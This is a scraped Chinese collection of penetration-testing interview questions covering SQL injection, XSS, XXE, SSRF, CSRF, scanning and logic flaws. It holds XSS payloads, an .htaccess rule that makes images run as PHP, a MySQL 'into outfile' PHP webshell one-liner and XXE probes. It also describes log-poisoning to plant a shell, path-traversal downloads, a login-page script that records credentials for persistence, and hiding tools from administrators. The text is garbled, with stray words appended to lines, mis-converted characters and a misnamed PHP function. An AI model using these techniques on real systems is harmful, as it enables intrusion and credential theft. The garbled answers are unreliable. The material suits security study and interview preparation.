一些滲透測試基礎面試題

收集自互聯網

(1)SQL注入的成因、代碼層防護方式
對用戶輸入未進行完整過濾就將其拼接到SQL語句中,addslashes()函數能夠過濾單雙引號、反斜線和空或者用intval()函數將變量裏全部字符串移出,只返回數字部分。javascript

(2)XSS的成因、代碼層防護方式、寫出3條xsspayload:
對用戶往Web頁面輸入部分過濾不嚴格致使攻擊者能夠插入惡意js代碼。Httpspecialchars()會將輸出HTML標記實體轉義。php

Payload:<img src=@ onerror=javascript:alert(/xss/)>

<svg><script>alert(/1/)</script>

Onfocus=alert(/xss/)

(3)mysql的網站注入,5.0以上和5.0如下有什麼區別?
5.0如下沒有information_schema這個系統表,沒法列表名等,只能暴力跑表名。
5.0如下是多用戶單操做,5.0以上是多用戶多操作。
(4)在滲透過程當中,收集目標站註冊人郵箱對咱們有什麼價值?
丟社工庫裏看看有沒有泄露密碼,而後嘗試用泄露的密碼進行登陸後臺。(基本都死了)
社工找出社交帳號,裏面或許會找出管理員設置密碼的習慣 。
利用已有信息生成專用字典。
觀察管理員常逛哪些非大衆性網站,拿下它,你會獲得更多好東西。
 (5)判斷出網站的CMS對滲透有什麼意義?
查找網上已曝光的程序漏洞。
若是開源,還能下載相對應的源碼進行代碼審計。
(6)一個成熟而且相對安全的CMS,滲透時掃目錄的意義?
敏感文件、二級目錄掃描
站長的誤操做好比:網站備份的壓縮文件、說明.txt、二級目錄可能存放着其餘站點
(7)常見的網站服務器容器
IIS、Apache、nginx、Lighttpd、Tomcathtml

(8)mysql注入點,用工具對目標站直接寫入一句話,須要哪些條件?
 root權限以及網站的絕對路徑。java

(9)如何手工快速判斷目標站是windows仍是linux服務器?
linux大小寫敏感,windows大小寫不敏感。mysql

(10)爲什麼一個mysql數據庫的站,只有一個80端口開放?
更改了端口,沒有掃描出來。
站庫分離。
3306端口不對外開放
(11)3389沒法鏈接的幾種狀況。
 沒開放3389 端口
端口被修改
防禦攔截
處於內網(需進行端口轉發)
(12)如何突破注入時字符被轉義?
寬字符注入
hex編碼繞過
(13)在某後臺新聞編輯界面看到編輯器,應該先作什麼?
查看編輯器的名稱版本,而後搜索公開的漏洞。linux

(14)拿到一個webshell發現網站根目錄下有.htaccess文件,咱們能作什麼?
   .htaccess是一個純文本文件,它裏面存放着Apache服務器配置相關的指令。
    .htaccess主要的做用有:URL重寫、自定義錯誤頁面、MIME類型配置以及訪問權限控制等。主要體如今僞靜態的應用、圖片防盜鏈、自定義404錯誤頁面、阻止/容許特定IP/IP段、目錄瀏覽與主頁、禁止訪問指定文件類型、文件密碼保護等。
       .htaccess的用途範圍主要針對當前目錄。
能夠插入解析信息:
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMatch>
這樣就製造了個apache解析漏洞。nginx

(15)提權時選擇可讀寫目錄,爲什麼儘可能不用帶空格的目錄?
由於exp執行多半須要空格界定參數web

(16)某個防注入系統,在注入時會提示:
系統檢測到你有非法注入的行爲。

已記錄您的ip xx.xx.xx.xx

時間:2016:01-23

提交頁面:test.asp?id=15

提交內容:and 1=1
如何利用這個防注入系統拿shell?sql

在URL裏面直接提交一句話,這樣網站就把你的一句話也記錄進數據庫文件了 這個時候能夠嘗試尋找網站的配置文件 直接上菜刀連接。shell

(17)上傳大馬後訪問亂碼時,有哪些解決辦法?
瀏覽器中改編碼

(18)目標站禁止註冊用戶,找回密碼處隨便輸入用戶名提示:「此用戶不存在」,你以爲這裏怎樣利用?
先爆破用戶名,再利用被爆破出來的用戶名爆破密碼。
其實有些站點,在登錄處也會這樣提示
全部和數據庫有交互的地方都有可能有注入。
(19)目標站發現某txt的下載地址爲http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什麼思路?
這是下載漏洞!在file=後面嘗試輸入index.php下載他的首頁文件,而後在首頁文件裏繼續查找其餘網站的配置文件,能夠找出網站的數據庫密碼和數據庫的地址。

(20)甲給你一個目標站,而且告訴你根目錄下存在/abc/目錄,而且此目錄下存在編輯器和admin目錄。請問你的想法是?
直接在網站二級目錄/abc/下掃描敏感文件及目錄。

(21)在有shell的狀況下,如何使用xss實現對目標站的長久控制?
後臺登陸處加一段記錄登陸帳號密碼的js,而且判斷是否登陸成功,若是登陸成功,就把帳號密碼記錄到一個生僻的路徑的文件中或者直接發到本身的網站文件中。(此方法適合有價值而且須要深刻控制權限的網絡)。
在登陸後才能夠訪問的文件中插入XSS腳本。
(22)目標站無防禦,上傳圖片能夠正常訪問,上傳腳本格式訪問則403.什麼緣由?
緣由不少,有可能web服務器配置把上傳目錄寫死了不執行相應腳本,嘗試改後綴名繞過

(23)審查元素得知網站所使用的防禦軟件,你以爲怎樣作到的?
在敏感操做被攔截,經過界面信息沒法具體判斷是什麼防禦的時候,F12看HTML體部 好比護衛神就能夠在名稱那看到<hws>內容<hws>。

(24)在win2003服務器中創建一個 .zhongzi文件夾用意何爲?
隱藏文件夾,爲了避免讓管理員發現你傳上去的工具。

(25)HTTP狀態碼
301   URL 重定向,永久移動

302   URL 重定向,臨時移動

400   客戶端請求有語法錯誤,不能被服務器理解

401   請求未經受權

403   服務器收到請求,可是拒絕服務

500   服務器內部錯誤

503   服務器當前不能處理客戶端請求,一段時間後可能恢復正常

(26)灰鴿子是一個什麼軟件可以實現什麼功能
灰鴿子就是一款遠程控制和管理計算機的工具!它的功能有:

1.對遠程計算機文件管理:模枋 Windows 資源管理器,能夠對文件進行復制、粘貼、刪除,重命名、遠程運行等,能夠上傳下載文件或文件夾,操做簡單易用。
2.遠程控制命令:查看遠程系統信息、剪切板查看、進程管理、窗口管理、鍵盤記錄、服務管理、共享管理、代理服務、MS-Dos模擬(telnet)!
3.捕獲屏幕
4.視頻監控
5.語音監聽和發送
6.鍵盤記錄
7.註冊表模擬器
8代理服務
9.命令廣播
(27)請模擬一次對大型商業網站的攻擊,請寫出你的思路和基本步驟
收集信息,多利用搜索引擎.
對服務器進行常規掃描:包括開放端口,常規弱口令(sql,ftp,smtp…),系統溢出漏洞等等;
看看能不能進行腳本注入攻擊; 網站登錄口有沒有弱口令; 有沒有論壇,留言本之類的; 有沒有上傳漏洞;
能不能暴庫
若是能知道網站腳本程序,搜索相關信息,能下載到源碼的,能夠下載回本機研究;
網站一級目錄沒有收穫,能夠查詢二級目錄進行新一輪攻擊嘗試; 看看服務器有沒有綁定其餘網站域名,旁註; 網站服務器沒辦法突破,能夠掃同一網段的機子,若是能入侵其中一臺,嗅探.
(28)XXE漏洞的原理、危害、防護方法
XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,致使可加載惡意外部文件,形成文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等危害。xxe漏洞觸發的點每每是能夠上傳xml文件的位置,沒有對上傳的xml文件進行過濾,致使可上傳惡意xml文件。

XML文件做爲配置文件(Spring、Struts2等)、文檔結構說明文件(PDF、RSS等)、圖片格式文件(SVG header)應用比較普遍,此外,網上有一些在線XML格式化工具也存在過問題

xxe漏洞檢測
第一步檢測XML是否會被成功解析:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is guolala">]>
<root>&name;</root>
若是頁面輸出了my name is guolala,說明xml文件能夠被解析。


第二步檢測服務器是否支持DTD引用外部實體:

<?xml version=」1.0」 encoding=」UTF-8」?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>
可經過查看本身服務器上的日誌來判斷,看目標服務器是否向你的服務器發了一條請求test.xml的請求。

 

若是支持引用外部實體,那麼頗有多是存在xxe漏洞的。

xxe漏洞修復和防護
php:

libxml_disable_entity_loader(true);
JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
過濾用戶提交的XML數據:

過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

 

(29)SSRF漏洞
是一種由攻擊者構造造成由服務端發起請求的一個安全漏洞。通常狀況下,SSRF 攻擊的目標是從外網沒法訪問的內部系統。正是由於它是由服務端發起的,因此它可以請求到與它相連而與外網隔離的內部系統

SSRF 造成的緣由大都是因爲服務端提供了從其餘服務器應用獲取數據的功能且沒有對目標地址作過濾與限制。

如何尋找SSRF漏洞
從 Web 功能上尋找

1)分享:經過URL地址分享網頁內容
2)圖片加載與下載:經過URL地址加載或下載圖片
3)圖片、文章收藏功能
從 URL 關鍵字尋找
大體有如下關鍵字:

share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain

若是利用 google 語法加上這些關鍵字去尋找 SSRF 漏洞,耐心的驗證,如今仍是能夠找到存在的 SSRF 漏洞

防護方法
1,過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。若是web應用是去獲取某一種類型的文件。那麼在把返回結果展現給用戶以前先驗證返回的信息是否符合標準。

2, 統一錯誤信息,避免用戶能夠根據錯誤信息來判斷遠端服務器的端口狀態。

3,限制請求的端口爲http經常使用的端口,好比,80,443,8080,8090。

4,黑名單內網ip。避免應用被用來獲取獲取內網數據,攻擊內網。

5,禁用不須要的協議。僅僅容許http和https請求。能夠防止相似於file:///,gopher://,ftp:// 等引發的問題。

 

(30)如何作掃描器-思路-爲何要這麼設計
經過鏈接測試服務端口能夠判斷端口是否開放

(1) TCP 全鏈接掃描
嘗試與目標主機創建正常的TCP三次握手,若是能創建三次握手,說明目標端口開放,可是掃描過程容易被檢測到。

(2) TCP SYN 掃描 ( TCP 的半鏈接掃描)
利用 TCP 前兩次握手,如第二次握手回覆了,則證實端口開放,由於沒有第三次握手創建鏈接,下降了被發現的可能,同時提升了掃描性能

(3) TCP FIN 掃描
向目標主機發送 FIN 標誌位爲 1 的數據包進行探測。

若是目標端口開放,則丟棄此包,不進行迴應

若未開放,則返回一個 RST 標誌位爲 1 的數據包

這種掃描更隱祕又叫祕密掃描一般用於 UNIX 操做系統主機

有的 Windows 主機 ( Windows NT ),不論端口是否開放都回復 RST。

(4) UDP 的 ICMP 端口不可達掃描
用 UDP 協議向目標主機 UDP 端口發送探測數據包。

若是目標端口未打開,會返回一個 ICMP_PORTUNREACHABLE 錯誤。

根據是否收到這個消息,能夠發現關閉的 UDP 端口

(5) ICMP 掃描
用 ICMP 協議向目標主機發送一個協議存在錯誤的 IP 數據包

根據反饋的 ICMP 信息判斷目標主機使用的網絡服務和端口

(6) 亂序掃描和慢速掃描
將掃描端口的順序打亂,下降掃描速度,躲避防火牆和入侵檢測系統的檢查

(31)Jsonp劫持漏洞的原理、利用方式、防護方法
JSON 劫持又爲「 JSON Hijacking 」,這裏實際上是屬於CSRF的範疇。攻擊者能夠在本身的站點中寫入一條訪問Json的JS,在用戶Cookie未過時的狀況下,Json中會返回敏感的用戶信息,而後攻擊者能夠獲取到數據,併發送到本身的站點。

 

(32)請說明電商系統的加車、下單、支付過程當中,常見的邏輯漏洞有哪些,如何挖掘?
登陸系統,結算商品提交訂單確認支付時,用burp抓取數據包,修改金額的參數,跳轉到支付頁面,看實際支付金額是否被修改。

 

(33)邏輯漏洞
1.訂單金額任意修改

2.驗證碼回傳

3.未進行登錄憑證驗證

4.接口無限制枚舉

5.cookie設計存在缺陷

6.找回密碼存在設計缺陷

7.單純讀取內存值數據來看成用戶憑證

https://www.freebuf.com/vuls/112339.html
 

(34)什麼是同源策略,有什麼做用?同源策略中Access-Control-Allow-Origin的做用是什麼?
所謂同源,就是指兩個頁面具備相同的協議、主機(也常說域名)、端口,三個要素缺一不可。

限制範圍:
1.cookie、localstorage和indexDB沒法讀取。
2.Dom沒法得到。
3.AJAX請求不能發送。
雖然限制很必要可是有些合理的用途也會受到影響,好比同站點下的不一樣域名不能共享cookie。

有什麼做用
瀏覽器出於安全方面的考慮,不容許跨域調用其餘頁面的對象,防止惡意網站盜竊數據。但在安全限制的同時也給注入iframe或是Ajax應用上帶來了很多的麻煩,因此有時候就必須跨域。

Access-Control-Allow-Origin
Access-Control-Allow-Origin是HTML5中定義的一種解決資源跨域的策略。

他是經過服務器端返回帶有Access-Control-Allow-Origin標識的Response header,用來解決資源的跨域權限問題。

 

(35)CSRF的成因、利用方式、哪些功能容易有CSRF,防護方法
成因
攻擊者經過構造好的URL能夠僞造用戶執行操做。

CSRF與XSS最大的區別就在於,CSRF並無盜取cookie而是直接利用

防護
CSRF的防護能夠從服務器和客戶端兩方面着手,防護效果是從服務器着手效果比較好,如今的CSRF防護也都在服務器端進行的。

1.Cookie Hashing(全部表單都包含同一個僞隨機值):
2.驗證碼
3.驗證 HTTP Referer 字段

4.Anti CSRF Token

 

(36)Mysql導出php一句話木馬select  ’<?php eval($_POST[cmd]);?>’  into outfile ’e:/www/eval.php’;

相關文章
相關標籤/搜索